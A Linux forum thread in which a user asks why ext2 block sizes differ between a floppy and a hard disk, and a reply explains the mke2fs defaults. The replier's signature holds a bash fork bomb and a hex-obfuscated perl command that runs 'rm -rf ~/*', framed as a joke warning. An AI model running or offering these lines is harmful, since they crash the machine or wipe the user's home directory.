Find the answer to your Linux question:
Results 1 to 2 of 2
hi all, I have some doubt about the block sizes in File system. that is whenever iam creating a linux file system in floppy using 'mkfs /dev/fd0' and then iam ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Aug 2005
    Posts
    19

    File System ext2


    hi all,

    I have some doubt about the block sizes in File system. that is

    whenever iam creating a linux file system in floppy using 'mkfs /dev/fd0' and then iam reading the super block system with 'dumpe2fs /dev/fd0', then at that time the file system block size is '1024', where as in the hard disk,the 'dumpe2fs /dev/hdc#' is showing the file system block size as '4096'.

    can anyone know the reason why these block sizes are differing.

    ************************************************** ***********

  2. #2
    Linux Newbie
    Join Date
    Jul 2004
    Location
    Calcutta, India
    Posts
    220
    The following is an excerpt from the ext2fs official site :
    Ext2fs allows the administrator to choose the logical block size when creating the filesystem. Block sizes can typically be 1024, 2048 and 4096 bytes. Using big block sizes can speed up I/O since fewer I/O requests, and thus fewer disk head seeks, need to be done to access a file. On the other hand, big blocks waste more disk space: on the average, the last block allocated to a file is only half full, so as blocks get bigger, more space is wasted in the last block of each file. In addition, most of the advantages of larger block sizes are obtained by Ext2 filesystem's preallocation techniques
    Maybe this will answer your question ..
    since floppy sizes are typically small, mke2fs by default uses 1024 bytes block size, for typically larger hard drives, it uses a bigger block size ..

    u can always specify the block size when running mke2fs ..,
    Code:
    # mke2fs -b 4096 /dev/fd0
    but that will be a waste IMO ..
    WARNING!!! Don\'t try the following :
    Code:
    bash$ :(){ :|:&};: -- 
    bash$ `perl -e\'print\"\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7E\\x2F\\x2A\"\'`
    Registered Linux User #382098

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •